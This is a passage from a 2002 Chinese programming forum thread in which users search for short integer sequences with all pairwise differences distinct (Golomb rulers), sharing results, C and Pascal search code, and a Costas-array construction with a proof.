1,3,9,18,30,55,85,121,156,204,244,300,380,427,488,521,602,748,786,878,896,995,1074,1134,1185,1247,1291,1325,1384,1389,1415,1434,1447,1454,1457,1458

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-21 13:30:01 得分:0

well done, mathe!

one question, when did you start to study this problem?

Top

回复人： mathe() ( ) 信誉：100 2002-8-21 14:08:56 得分:0

Should be last Friday

Top

回复人： ywqzxj(午青) ( ) 信誉：100 2002-8-21 14:44:39 得分:0

mathe() 兄,能否指点一下,怎样用你的程序算得最优解(比如n=13)?

Top

回复人： mathe() ( ) 信誉：100 2002-8-21 16:23:34 得分:0

搜索最优解只要将我程序中所有用到step的代码去掉就可以了，不过程序的速度也不快，如果要计算n=13恐怕要花费很长时间。倒是我最早写的一个直接搜索的代码可以在几个小时内完成n=13,但是对于n=14也已经无能为力了。那个代码的优势是剪枝做的要好一些。我现在还不知道n=14时的最优解应该是多少

Top

回复人： qiushuiwuhen(秋水无恨) ( ) 信誉：100 2002-8-21 16:32:41 得分:0

n=14我算是129，不知道算不算最优

1,8,10,18,23,39,58,59,62,86,92,104,118,129

Top

回复人： orcsvr1() ( ) 信誉：100 2002-8-21 16:44:18 得分:0

1,3,8,16,30,49,77,112,142,167,199,288,356,393,501,580,611,681,743,871,944,1027,1118,1171,1213,1237,1249,1366,1392,1430,1446,1469,1480,1486,1489,1490

Top

回复人： bjay(ben) ( ) 信誉：100 2002-8-21 23:05:35 得分:0

to:mathe

which C compile and version are you using ?

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-8-21 23:11:42 得分:0

用ALNG的分析器分析8－13的第一个最优解如下。

输入解:

1 3 6 26 38 44 60 71 86 90 99 100 107

该解的路由选择如下:

2 2 17 9 3 9 2 2 1 1 1 1

输入解:

1 3 7 25 30 41 44 56 69 76 77 86

该解的路由选择如下:

2 3 15 3 6 2 2 1 1 1 1

输入解:

1 2 5 14 29 34 48 55 65 71 73

该解的路由选择如下:

1 2 6 9 2 4 2 1 1 1

输入解:

1 2 7 11 24 27 35 42 54 56

该解的路由选择如下:

1 4 3 6 2 1 1 1 1

输入解:

1 2 6 13 26 28 36 42 45

该解的路由选择如下:

1 3 4 7 1 2 1 1

输入解:

1 2 5 10 16 23 33 35

该解的路由选择如下:

1 2 2 2 1 1 1

大家有没有注意到第三个路由有一个大跳跃啊？

Top

回复人： mathe() ( ) 信誉：100 2002-8-22 8:19:24 得分:0

gcc 2.95.2

But the code I am running is slightly different(I am trying to use some different pruning method).

Now the best result I got is

1,3,8,16,32,54,79,120,172,184,227,297,356,405,433,477,579,664,678,821,917,984,1078,1111,1192,1248,1293,1316,1358,1390,1408,1427,1438,1444,1447,1448

I think it's near the limitation of such kinds of program. We need a better algorithm to break through 1400.

And the path selection in my algorithm is:

1,1,1,1,1,1,1,2,1,2,1,2,2,3,2,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,1,1,1,1

Top

回复人： ywqzxj(午青) ( ) 信誉：100 2002-8-22 8:36:29 得分:0

n=14, now,

1,5,7,21,36,53,60,78,79,87,90,100,123,128

请gofor()兄给出n=13之后的正确解.

Top

回复人： ywqzxj(午青) ( ) 信誉：100 2002-8-22 8:37:51 得分:5

n=14,

1,6,29,39,42,50,51,69,76,93,108,122,124,128

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-22 8:43:34 得分:0

Lawrence444(胖子)兄，你这个贴子含金量可真高啊！

mathe() 加油啊！想不到这么快就靠近1400了。

你的path selection定义好像很独特，能解释一下吗？

Top

回复人： mathe() ( ) 信誉：100 2002-8-22 10:28:15 得分:0

就是我代码中出现的step,将它变成一个数组来记录就可以了。

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-22 11:25:20 得分:0

mathe, 你的算法好厉害，一起动就到了1553， 不过现在僵在这里了。

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-8-22 11:47:47 得分:0

555, 我进化了1000代，进化出这么一个估值函数（化简以后）：

8*A2+3*A9（越大越好）

欲哭无泪。。。。

主要是采样分布不好，mathe的样本用的太多了，我再来搞一些比较次的样本加上去试试。

Top

回复人： xiaonian_3654(小周) ( ) 信誉：100 2002-8-22 14:09:37 得分:0

好热闹！up一下！

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-23 11:20:54 得分:0

看起来现在是举步维艰了。如果没有算法上的突破，更好的解是很难出来的了。

不管怎样，mathe的算法令人耳目一新。 我想del_c_sharp的300分应该按照赢家独得原则，全部给mathe。这个问题暂时告一段落，直到有人有更好的算法再重开讨论，大家觉得如何？

Top

回复人： JavaVsNet(JavaVsNet) ( ) 信誉：100 2002-8-23 18:41:18 得分:0

我觉得用他们的差值可以更直观的找这些数：

假如对5个数先给出他们之间的差值的初始值为：1，2，3，4；构造下列矩阵：

10 0 0 0

6 9 0 0

3 5 7 0

1 2 3 4

第一列可以认为是后四个数减第一个数的差

第二烈是后三个数减第二个数的差

如此类推；

其实这个矩阵反映的就是这五个数之间的差值。

现在只要使这个矩阵的下三角形中的数个不相同就求出了该数列，该数列为1和第一列个数加一的值。

优化这个矩阵的方法是：找出相同的数为一组，每组包含两个数（社为a(i,j)，b(x,y)),如果i-j>x-y,则对b所在的斜列与矩阵的对角线说组成的平行四边形内的所有数加一或者减去一，

其实本质就是增加或者减少数之间的差值

例如上例：

10 0 0 0

6 9 0 0

3 5 7 0

1 2 3 4

3与3成组，因为3-1<4-3,所以对平行四边形中的六个数：

10

6 9

5 7

3

各加一，得到新矩阵：

11 0 0 0

7 10 0 0

3 6 8 0

1 2 4 4

如此反复直到没有相同的数出现。

我现在还没想到应怎样判断什么时候对平行四边形中的数加一还是减去一。

我现在这里有一个只是用加一的c程序，比较粗糙，望大家对我的算法和程序给以改进：

#include <stdio.h>

#define N 35

void main()

{

int a[N][N];

int b[1000][3][2];

int i,j,i2,j2,bi,bj,n;

int c[1000];

int bk=0,ck=0,flag=1;

FILE *fp=fopen("hard.in","w");

printf("");

a[N-1][0]=1;

for(i=N-2;i>=0;i--) {

a[0][i+1]=0;

a[i][0]=a[i+1][0]+(N-1)-i+1;

}

for(i=0;i<N;i++)

printf("%d ",a[i][0]);

getch();

for(j=1;j<N;j++)

for(i=1;i<N;i++) {

if(i<j)

a[i][j]=0;

else if(i>=j)

a[i][j]=a[i-1][j-1]-a[N-1][j-1];

}

printf("");

printf("****************************************");

printf("****************************************");

for(i=0;i<N;i++) {

for(j=0;j<N;j++)

printf("%4d ",a[i][j]);

printf("");

}

printf("****************************************");

printf("****************************************");

getch();

/*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*/

bk=1;

while(bk!=0) {

bk=0;

printf("****************************************");

printf("****************************************");

for(i=0;i<N;i++) {

for(j=0;j<N;j++)

printf("%4d ",a[i][j]);

printf("");

}

printf("****************************************");

printf("****************************************");

for(j=0;j<N-1;j++)

for(i=j;i<N;i++)

for(j2=j+1;j2<N;j2++)

for(i2=j2;i2<N;i2++) {

/*if(i==9&&j==3&&i2==N-1&&j2==N-1) {

printf("[9][3]=%d , a[N-1][N-1]=%d",a[i][j],a[i2][j2]);

getch();

printf("");

}*/

if(a[i][j]==a[i2][j2]) {

b[bk][0][0]=i;

b[bk][0][1]=j;

b[bk][1][0]=i2;

b[bk][1][1]=j2;

bk++;

}

}

printf("bk=%d",bk);

if(bk==0)

break;

for(i=0;i<bk;i++) {

bi=b[i][0][0];

bj=b[i][0][1];

printf("%4d ",a[bi][bj]);

bi=b[i][1][0];

bj=b[i][1][1];

printf("%4d;;",a[bi][bj]);

}

printf("");

printf("");

for(i=0;i<bk;i++) {

if(b[i][0][0]-b[i][0][1]<b[i][1][0]-b[i][1][1]) {

b[i][2][0]=b[i][0][0];

b[i][2][1]=b[i][0][1];

}else{

b[i][2][0]=b[i][1][0];

b[i][2][1]=b[i][1][1];

}

}

for(i=0;i<bk;i++)

printf("#%d:%d,%d; ",i+1,b[i][2][0],b[i][2][1]);

printf("");

c[0]=b[0][2][0]-b[0][2][1];

ck++;

flag=1;

for(i=1;i<bk;i++) {

for(j=0;j<ck;j++) {

if(b[i][2][0]-b[i][2][1]==c[j])

flag=0;

}

if(flag){

c[ck]=b[i][2][0]-b[i][2][1];

ck++;

}

flag=1;

}

for(i=0;i<ck;i++)

printf("%d ",c[i]);

printf("");

for(n=0;n<ck;n++)

for(j=0;j<=c[n];j++)

for(i=j;i<N-c[n]+j;i++)

a[i][i-j]++;

for(i=0;i<bk;i++)

for(j=0;j<3;j++)

for(n=0;n<2;n++)

b[i][j][n]=0;

for(i=0;i<ck;i++)

c[i]=0;

ck=0;

}

printf("");

printf("1 ");

fprintf(fp,"1 ");

for(i=N-1;i>=0;i--) {

printf("%d ",a[i][0]+1);

fprintf(fp,"%d ",a[i][0]+1);

}

}

Top

回复人： kuchong(苦虫) ( ) 信誉：100 2002-8-24 15:07:41 得分:0

关注

Top

回复人： freshboy0913(红绿灯) ( ) 信誉：100 2002-8-24 16:17:19 得分:0

只谈穷举算法的穷举范围的确定：

首先这道题目从已经求得的部分位数较少的最优解序列中，（如n=1时为1，n=3时为1,2,4 n=5时...）目前最好的结果好像已有人求出n=13时的最优解了吧!从结果上来看基本上没有什么规律可言，除了穷举之外更巧妙的算法我好像还没有听人提过，也没人提出过正确的其他的解法，所以我看只有拼CPU了。

但也不是必须全部都举出来，从以前计算的结果看至少有两点假设可以值得研究：

（1）第n位上的解的最小值:由于n个递增的数共和n(n-1)/2个差值，很容易想到：当n=36时，至少有36(36-1)/2个差值即630个，即使这个解唯一（即合理的解只有一个时）第36位上的值也得630才能满足差值不重复的要求。但实际情况是当n>=5时解就不再唯一（虽最后一位的数是一定的），所以这个最小值还必须扩大才行。且出现了另一种情况：每一个解的每一个位上都有一个最小值（当然不同于上面所说的必须满足差值不重复而须有的最小值），n(1)>=1 n(2)>=2 n(3)>=4 n(4)>=7 n(5)>=12...n(12)>=86至于n(13)...n(36)我想同样有一个最小值,不过这个值暂时无法得到确却的值，不过根据后面的第（2）点假设我可以推出后面的值，第36位上的最小值是674（当然是指穷举应从这个数开始穷举）。

（2）第n位上的解的最大值:从以有的计算结果看：第n位上的解的取得最可能出现在Q(n-1)+n附近，我检验了从n=1到12时的所有解都满足这个假设：即n=6时的第6位上的解应在12+6附近（实际情况是解为18，最理想），n=7时的第7位上的解Q(7)=Q(6)+7=18+7=25附近，(实际情况是26)，再往后直到n=11时这个假设有一个偏差，但当n=12时，这一规律又出现了Q(12)=Q(11)+12=73+12=85附近（实际情况是解为86)。由此可以大胆的假定Q(13),Q(14）...Q(36),Q(37)，Q(38)时的解值区域。可以还求得Q(36)=674(最小值）,Q(37)=711,Q（38）=749,当Q(37)的解非常理想就是711时，Q(36)的解值区域为674..710,当Q(37)的解非常糟为748时，Q（36)的解值区域为674...747。

由此可以确定第36位上的解值区域为:(674...747)

----如果要穷举的话应从674这个数开始，请多见教 :(

Top

回复人： Birch(白桦树) ( ) 信誉：100 2002-8-24 16:26:13 得分:0

关注！

Top

回复人： skyfine(skyfine) ( ) 信誉：100 2002-8-24 19:52:29 得分:0

非常佩服mathe() ,这个同题我也开过一个帖子。所以请在这个帖子结帖时，请一并到http://www.csdn.net/expert/topic/954/954010.xml?temp=.2789881接分。

Top

回复人： _Shakespeare(网络骑士) ( ) 信誉：100 2002-8-24 20:28:29 得分:0

关注

Top

回复人： mathe() ( ) 信誉：100 2002-8-26 8:25:38 得分:0

验证了一下，ywqzxj(午青) 提供的"1,5,7,21,36,53,60,78,79,87,90,100,123,128"的确是n=14时的最优解。

我们可以看到，在n>=12以后，最优解的差值分布中，小的数据已经不再留在边上了

12: 9, 1, 7, 13, 12, 3, 11, 5, 18, 4, 2

13: 7, 1, 9, 4, 15, 11, 16, 6, 12, 20, 3, 2

14: 5, 23, 10, 3, 8, 1, 18, 7, 17, 15, 14, 2, 4

所以，我上面的程序虽然可以快速搜索到较优的解，但是离最优解差距应该还非常之大。

Top

回复人： mathe() ( ) 信誉：100 2002-8-26 8:42:43 得分:0

想起了过去有人提到的计算costas矩阵的题目，http://www.csdn.net/expert/topic/663/663090.xml?temp=.3872187

那道题目也挺有意思，挺相似的。

看看是否有谁能够计算出一个24阶costas阵。

Top

回复人： ywqzxj(午青) ( ) 信誉：100 2002-8-26 9:06:24 得分:0

mathe()，我查看过你出过的一些很有意思的题目，比如田忌赛马，1234.-^()等，不如这样，把你出过的或者看到的有意思的题目一并归结到这里，好不好？

Top

回复人： mathe() ( ) 信誉：100 2002-8-26 9:22:05 得分:0

goto http://members.lycos.co.uk/huidu/

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-8-26 10:49:56 得分:0

mathe你是怎么验证的？穷搜么？

如果能有有效的验证算法的话，就应该可以有有效的求解算法吧。

Top

回复人： mathe() ( ) 信誉：100 2002-8-26 11:40:05 得分:0

穷举，花了1天半的时间

Top

回复人： javafish(小鱼儿) ( ) 信誉：100 2002-8-26 11:52:57 得分:0

收藏ing

Top

回复人： del_c_sharp(摩托～◎～◎～◎) ( ) 信誉：100 2002-8-27 23:06:09 得分:0

**************************************

最近很忙，好久没来了，来这里一看，感动、流泪。。。。

××××××××××××××××××××××××××××××××

to mathe：

谢谢老兄的努力，大家都看到你的成果。我同意ALNG(?) 的意见，这两个帖子我也该结了。

同样谢谢再次开帖讨论这个问题的几位老兄。希望大家继续关注。我会再次开帖，给大家讨论的空间！谢谢

Top

回复人： del_c_sharp(摩托～◎～◎～◎) ( ) 信誉：100 2002-8-27 23:16:09 得分:0

http://www.csdn.net/expert/topic/975/975461.xml?temp=.885647

Top

回复人： zhyx21century(zhyx) ( ) 信誉：100 2002-8-29 8:52:40 得分:0

..

Top

回复人： Dreamer7901() ( ) 信誉：100 2002-8-29 18:17:38 得分:0

我不明白为什么这么难。我记错题错了，算了一下32个数的数列，最后一个加数为190多（记不清了，在单位算的），数列中最后一个数10000左右。总共只算了不到1秒中。也许是我哪里想错了。现在我在网吧里，等我回家把算法程序和结果贴出来，让大家看看对不对。

Top

回复人： Dreamer7901() ( ) 信誉：100 2002-8-29 18:21:09 得分:0

不好意思，请斑竹把我的贴子删了吧！全想错了：（

Top

回复人： del_c_sharp(摩托～◎～◎～◎) ( ) 信誉：100 2002-8-29 20:59:36 得分:0

呵呵,没关系,继续!

Top

回复人： leeseon() ( ) 信誉：100 2002-8-30 22:07:11 得分:0

收藏先。

Top

回复人： 野男孩() ( ) 信誉：100 2002-8-31 10:00:51 得分:0

天啊,想自杀!

我算出来的是2027

Top

回复人： flyfash(生生之本,本立道生.山风山石山峦怪,河) ( ) 信誉：100 2002-8-31 14:24:49 得分:0

1,3,+4 7,+8 15,+16 (1+1+1=3)

4 5,6 8,9,10,11,12,13,14

31,+32 (3+1=4)

,18,19,20,21,22,23,24,25,26,27,28,29,30

63,+64 (4+1=5)

...

127,+128

... (5+1=6)

...min_number=64*(2^(32-5)) (31+1=32)

Top

回复人： o3y(想飞的菜鸟) ( ) 信誉：100 2002-8-31 16:38:09 得分:0

flyfash兄你那个min_number=64*(2^(32-5))=2^13也太大了吧，你看看楼上mathe兄给的解，才1400多

Top

回复人： intfree() ( ) 信誉：100 2002-9-2 18:27:34 得分:0

学过数学的就是不一样。

我一个搞数学竞赛的朋友，从我问他，没有2个小时，就手算（用计算器）出了一个1186的答案

Top

回复人： intfree() ( ) 信誉：100 2002-9-2 18:29:24 得分:0

1 5 46 64 151 161 200 324 345 378 400 407 467 498 510 513 566 571 579 598 636 650 680 700 728 775 855 861 951 1058 1067 1069 1092 1093 1109 1186

Top

回复人： intfree() ( ) 信誉：100 2002-9-2 18:42:05 得分:60

根据他的方法（虽然我完全不懂），用计算机得到一个序列

1 11 100 128 148 157 161 178 192 230 262 318 330 385 401 425 427 428 450 504 543 628 633 639 719 764 782 915 923 974 981 1027 1068 1087 1102 1149

Top

回复人： skyfine(skyfine) ( ) 信誉：100 2002-9-2 19:23:28 得分:0

能说说他的方法吗？

Top

回复人： gofor() ( ) 信誉：100 2002-9-2 19:29:54 得分:0

令我惊奇。结果完全正确。

请intfree公布算法。

Top

回复人： intfree() ( ) 信誉：100 2002-9-2 20:17:56 得分:0

是构造法，复杂度O(n^3)

{$APPTYPE CONSOLE}

const

n = 16;

p = n + 1; // p is a prime.

q = n * p;

type

Tans = array[1 .. n] of integer;

function pow(a, n, m: integer): integer; // return a^n mod m

var

i: integer;

begin

result := 1;

for i := 1 to n do

result := (result * a) mod m;

end;

function check(d: Tans): boolean; // check array d

var

used: array[0 .. q] of boolean;

i, j: integer;

begin

check := false;

fillchar(used, sizeof(used), false);

for i := 1 to n do

for j := i + 1 to n do

if not used[abs(d[i] - d[j])] then

used[abs(d[i] - d[j])] := true

else

exit;

check := true;

end;

procedure sort(var d: Tans); // sort array d

var

i, j, k: integer;

begin

for i := 1 to n do

for j := i + 1 to n do

if d[i] > d[j] then

begin

k := d[i];

d[i] := d[j];

d[j] := k;

end;

end;

var

d, best: Tans;

i, k, minp, now, v: integer;

begin

best[n] := maxint;

for i := 1 to n do

begin

// Construct

for k := 1 to n do

begin

d[k] := p * (k - 1) - (p - 1) * pow(i, k - 1, q);

d[k] := (d[k] mod q + q) mod q;

end;

// Adjust

sort(d);

minp := 0;

now := d[n] - d[1];

for k := 1 to n - 1 do

begin

v := d[k] - d[k + 1] + q;

if d[n] - d[k + 1] > v then

v := d[n] - d[k + 1];

if v < now then

begin

now := v;

minp := k;

end;

end;

now := d[minp + 1] - 1;

for k := 1 to n do

d[k] := ((d[k] - now) mod q + q) mod q;

sort(d);

// Update

if check(d) and (d[n] < best[n]) then

best := d;

end;

for i := 1 to n do

write(best[i], ' ');

writeln;

end.

Top

回复人： intfree() ( ) 信誉：100 2002-9-2 20:22:00 得分:0

复杂度还可以降到O(n^2logn)，找到两个：

1 11 100 128 148 157 161 178 192 230 262 318 330 385 401 425 427 428 450 504 543 628 633 639 719 764 782 915 923 974 981 1027 1068 1087 1102 1149

1 48 63 82 123 169 176 227 235 368 386 431 511 517 522 607 646 700 722 723 725 749 765 820 832 888 920 958 972 989 993 1002 1022 1050 1139 1149

他说中国队一次数学选拔赛（或类似的比赛）曾经考过，所以他一下子就做出来了。

（两个小时是手算啊）

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-9-2 21:21:12 得分:0

太强了！！！

是最优解么？

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-9-2 21:27:44 得分:0

一点都不懂。

有没有人可以解释一下？

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-9-2 21:29:22 得分:0

是不是和中国剩余定理有关？

Top

回复人： aliceZOOZ(alice) ( ) 信誉：100 2002-9-2 22:15:56 得分:0

第一行显然写错了，不是n=16，应该是n=36。

Top

回复人： intfree() ( ) 信誉：100 2002-9-2 22:58:54 得分:0

to aliceZOOZ(alice)：

是写错了，我调试的时候用的是n=16。

to Lawrence444(胖子)：

肯定不是最优解，这个序列是构造出来的，当n很小的时候，与最优解相差特别远。我估计n=36时，最优解在1000以下。

Top

回复人： mathe() ( ) 信誉：100 2002-9-3 7:50:57 得分:0

果然厉害！

这种解法的最强的地方就是一开始就求解不超过n(n+1)的解。而且这种方法本身能够找到的合法的解的数目也不会很多。

很有意思之处在于它将这道题同Costas阵联系了起来。（我在前几个星期提到过的）。

这种方法最难的还不在于它的构造性的解法，而是这方法的出发点就不是求最优解，而最后得到非常好的结果。

Top

回复人： mathe() ( ) 信誉：100 2002-9-3 8:08:29 得分:0

我可以解释一下这种方法的思路

这种方法只处理p=n+1是素数的情况。

首先，如果存在这样一个序列；而且最大数小于q=p(p-1)

那么，我们只要考虑满足同样条件的模q序列就可以了（不过其实这种说法是不完全正确的，这也是为什么我认为这种方法可以得到合法的解的数目不多的原因，这在后面再解释）。

命题1：对于任何小于q的数，我们可以唯一表示为

u*p+v*(p-1) mod(q)

其中0<=u<p-1,0<=v<p

命题2：如果一个p-1阶Costas阵列（http://www.csdn.net/expert/topic/663/663090.xml?temp=.3872187)

第i+1列非0数在v(i)行,那么，数列

i*p+v(i)*(p-1)mod(q), i=0,1,...,p-2

中任两个数的差关于模q互不相同。

命题3：如果p是素数，g为其一个原根，那么对于0<=i<p-1,

将p-1阶方阵第i+1列第g^i (mod p)行设为1，而这一列其它行的数据都是0，

那么得到的是一个p-1阶Costas阵列。

命题4：如果数列a(1),a(2),...,a(p-1)关于模q两两差互不相同，也就是

对于任何i<j, a(j)-a(i)(mod q)不会重复出现,那么，对于任何0<=b<q,

数列a(1)+b,a(2)+b,...,a(p-1)+b满足同样的性质。

还可以利用的一个性质是如果(d,q)=1,那么

d*a(1),d*a(2),...,d*a(p-1)也满足同样的性质。

Top

回复人： mathe() ( ) 信誉：100 2002-9-3 8:29:52 得分:0

现在分析一下为什么说这种方法得到的不是最优解。

1。在将任何一个数唯一分解为u*p+v*(p-1) (mod q)的形式后；

我们并没有要求不同的数对应的u和v都不相同，而只要有一个不同就可以了，而转化为Costas阵列以后，由于要求每一行每一列都只有一个1，也就是要求不同的数对应的u,v同时不相等，会丢失不少机会。

2。命题3构造Costas阵列的方法并不能得到所有的Costas阵列。而枚举所有的Costas阵列对于较大的n是一个还没有解决的问题。

3。这两个问题不完全等价，问题出在下面一句话：

>>如果存在这样一个序列；而且最大数小于q=p(p-1)

那么，我们只要考虑满足同样条件的模q序列就可以了.

实际上并非如此，这是因为我们需要对最终得到的模q序列进行重排序。

比如原先的序列是a(1),a(2),a(3),...,a(p-1)

在取了模q以后，我们需要对数列进行重新排列，为简单起见，假设重排序只改变了a(2)同a(1)的位置；那么在原先序列中，我们有

a(2)-a(1), a(3)-a(2),a(3)-a(1),...,互不相同，

而现在要求的是

a(1)-a(2), a(3)-a(2),a(3)-a(1),...,互不相同。

这就要求新出现的差值a(1)-a(2)=-(a(2)-a(1))同原先的差值都不会相同才行。（不然，上面的代码就不需要check函数了)

继续对我们的特殊序列分析这种交换对差值重复进行分析：

如果对于i>j, s<t有

a(i)-a(j)=a(s)-a(t)

即

(i-j)*p + (g^i-g^j)*(p-1) = (s-t)*p + (g^s - g^t)*(p-1) (mod q)

也就是

i-j = (p-1-s+t)

g^i - g^j = g^s - g^t (mod p)

i-t=j-s=(p-1)/2

也就是只有对那些距离正好是(p-1)/2的差值对，交换了其中一组数而没有交换另一组数，那么就会出现重复的差值。

而这样的差值对应该有C(p-1,2)/2=(p-1)(p-2)/4对，如果在重排序中各组差值对是否交换完全都独立，那么每一组都不交换的概率将非常之小，为

(1/2)^((p-1)(p-2)/4);所幸的是这些差值之间的相关性很强，按现在实际计算结果来看，还是存在解的，而且这是一个确定的问题，我们不能用概率来计算。但是是否对于一切的素数这样的解都存在，那就很难说了，需要进一步的分析。

Top

回复人： littlepu2001() ( ) 信誉：100 2002-9-3 13:58:49 得分:0

intfree老兄：

你的算法在n较小时得不到最优解，你能给出一个通用的算法，以满足对较小的n可以得到最优解（最好是所有最优解），而n较大时能得到较好的解甚至是最优解吗？谢谢！

Top

回复人： hquwl(东北大汉) ( ) 信誉：100 2002-9-3 15:09:32 得分:0

好热的题哦。

Top

回复人： mathe() ( ) 信誉：100 2002-9-3 15:43:42 得分:0

代碼中

if d[n] - d[k + 1] > v then

v := d[n] - d[k + 1];

没有必要

为了测试这段代码，我下载了一个Pascal编译器，结果发现对于n=36,上面的代码没有任何解。我修改了一下代码后，对于n=36就可以求出158种不重复的解。

不过用同样的代码试验n=40,42,46都没有解，看来n=36已经是最段代码可用的最大范围了，好像很凑巧。

program test;

const

n = 36;

p = n + 1; // p is a prime.

q = n * p;

type

Tans = array[1 .. n] of integer;

function pow(a, n, m: integer): integer; // return a^n mod m

var

i: integer;

begin

pow := 1;

for i := 1 to n do

pow := (pow * a) mod m;

end;

function check(d: Tans): boolean; // check array d

var

used: array[0 .. q] of boolean;

i, j: integer;

begin

check := false;

fillchar(used, sizeof(used), false);

for i := 1 to n do

for j := i + 1 to n do

if not used[abs(d[i] - d[j])] then

used[abs(d[i] - d[j])] := true

else

exit;

check := true;

end;

procedure sort(var d: Tans); // sort array d

var

i, j, k: integer;

begin

for i := 1 to n do

for j := i + 1 to n do

if d[i] > d[j] then

begin

k := d[i];

d[i] := d[j];

d[j] := k;

end;

end;

var

d, best: Tans;

i, k, minp, now, v,s,t: integer;

begin

best[n] := maxint;

for i := 1 to n do

begin

for s := 1 to n do

begin

for t := 1 to n do

begin

// Construct

for k := 1 to n do

begin

d[k] := s *p * (k - 1) - t*(p - 1) * pow(i, k - 1, q);

d[k] := (d[k] mod q + q) mod q;

end;

for now := 1 to n do

begin

minp :=d[now]-1;

for k := 1 to n do

d[k] := ((d[k] - minp) mod q + q) mod q;

sort(d);

// Update

if check(d) then

begin

for k :=1 to n do

write(d[k], ' ');

writeln();

end;

end;

end;

end;

end;

end.

Top

回复人： gofor() ( ) 信誉：100 2002-9-3 18:20:44 得分:0

是否有其他更好的构造函数呢？

Top

回复人： ALNG(?) ( ) 信誉：100 2002-9-3 18:54:47 得分:0

老天，几天没来，又有了这么大的突破。

数学真是太伟大了。

感谢intfree的参与。intfree也是我在这个论坛里很佩服的高手之一。

顺便说一下，在这个问题的探讨中，mathe, intfree, gofor, lawrence的表现令人侧目。

就象看金庸武侠，精彩迭出，一山更比一山高，真是过瘾！

Top

回复人： tender_edge(温柔一刀) ( ) 信誉：100 2002-9-4 18:50:02 得分:0

那是你的Pascal编译器太差了，原本的代码就可以得出有效解，

并且对于n=40,42,46也都有解

Top

回复人： gofor() ( ) 信誉：100 2002-9-4 22:35:26 得分:0

一个略次于1149的解：

1 13 29 77 115 122 130 252 254 258 399 400 430 449 467 472 496 556 583 634 666 784 793 845 855 888 899 924 945 958 980 1043 1057 1131 1148 1151

Top

回复人： aliceZOOZ(alice) ( ) 信誉：100 2002-9-5 8:16:50 得分:5

没有必要得到那么多解嘛，只要是最优解就可以了。

我一个同学说，只要i是n+1的原根，n+1是质数，就可以得到可行解。

他做过一道题目，就是求当n+1是质数时，求n个(0,n(n+1)]的数，满足条件，

解法和intfree的一样。

Top

回复人： ALNG(?) ( ) 信誉：100 2002-9-5 8:43:42 得分:0

aliceZOOZ(alice)， mathe好像讲过这样得到的不是最优解。

解释一下没什么不好吧，我想会来关注这个贴子的应该都希望知道算法的原理。

Top

回复人： mathe() ( ) 信誉：100 2002-9-5 9:47:36 得分:0

aliceZOOZ(alice)说的没错，只要i是n+1的原根，n+1是质数，就可以得到可行解（不是最优解）。我原先在分析中计算错了一步，而且我下载的Pascal编译器也欺骗了我（该死的16位编译器:) ）。

证明在g是p=n+1的原根，对应的是一个可行解并不难

对于 0<=k<n，记

a[k]=p*k+(p-1)*g^k (mod q) (其中q=p*(p-1))

只要证明

对于一切0<=u,v,s,t<n

a[u]-a[v]=a[s]-a[t] （mod q) (1)

那么必然有

u=s且v=t

或者

u=v且t=s.

由(1)可以得到

p*(u-v)+(p-1)*(g^u-g^v)

=p*(s-t)+(p-1)*(g^s-g^t) (mod q)

两边同时对p-1求模，得到

u-v=s-t (mod p-1)

不妨设u>=s,记h=u-s,

那么v-t=u-s=h (mod p-1) (2)

对(1)式再两边同时对p求模，得到

g^u-g^s = g^v-g^t (mod p)

g^s*(g^(u-s)-1)=g^t(g^(v-t)-1) (mod p) (3)

由（2）可以知道

g^(u-s) = g^(v-t) (mod p)

所以必然有

g^s = g^t (mod p)

或则

g^(u-s)=1 (mod p)

这分别对应与s=t且u=v或u=s且t=v.

得证。

也就是对序列进行任意排序后都没有关系。

Top

回复人： bjay(ben) ( ) 信誉：100 2002-9-6 22:13:18 得分:0

这贴子已经到第3页了，顶上去。

BTW：在一个问题解不出最优解时，先找到解，再一步一步优化，也是一种方法。

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-9-7 21:39:59 得分:0

用了点动态规划的思想，我的搜索快了三倍。顺便顶顶帖。

这个算法可能可以搜15了。谁的机器快，可以试试。我这里只有450，搜13用了12分钟。

/* The always right complete search algorithm for hard problem

proposed by del_c_sharp */

#include <cstdio>

#include <cstring>

#include <cstdlib>

#include <ctime>

#include <iostream>

using namespace std;

int STOP;

int subval[1000]; // values generated by subtraction

int curlist[50],flist[50];

// flist stores the best list so far,

// curlist stores the current one

int marray[20][20];

// marray[i][j] denotes the smallest answer in i numbers

// without using ax-ay=z,z<=j

int mval;

// previous answers

const int prevans[50]={1,2,4,7,12,18,26,35,45,56,73,86,107,128};

double startc,end;

void startsearch(int n)

{

int start,i,j,k;

if(n>STOP){

if(curlist[n-1]<mval || mval==-1){

printf("%d",mval = curlist[n-1]);

printf("Current time: %.2f seconds",(float)(clock()-startc)/CLK_TCK);

memcpy(flist,curlist,n*sizeof(int));

for(i=1;i<=STOP;i++)

printf("%d ",flist[i]);

printf("");

}

return;

}

for(k=1;k<STOP;k++)

if(!subval[k])

break;

start=curlist[n-1]+k;

if(k>19) // if too large

k=19; // use the ones we have

if(marray[STOP-n+1][k]==0) // if didn't calced

k=0; // use normal ones(prevans)

for(i=start;mval==-1 || i<mval-marray[STOP-n+1][k]+1;i++){

// if i is more than the maximum value to generate a better

// answer, no need to search anymore

curlist[n]=i;

if(n==2){

// the application of 对偶性

if(mval>0 && mval - curlist[2] - prevans[STOP-2] < curlist[2]-1)

break;

else

printf("Second place now searching: %d",i);

}

for(j=1;j<n;j++)

if(subval[curlist[n]-curlist[j]])

break;

if(j<n)

continue;

for(j=1;j<n;j++)

subval[curlist[n]-curlist[j]]++;

startsearch(n+1);

for(j=1;j<n;j++)

subval[curlist[n]-curlist[j]]=0;

if(n==STOP) // In the last step, it's no use to

break; // search for a further result

}

}

void main()

{

int i,j,k;

int rstop; // real stop

scanf("%d",&rstop);

memset(curlist,0,sizeof(curlist));

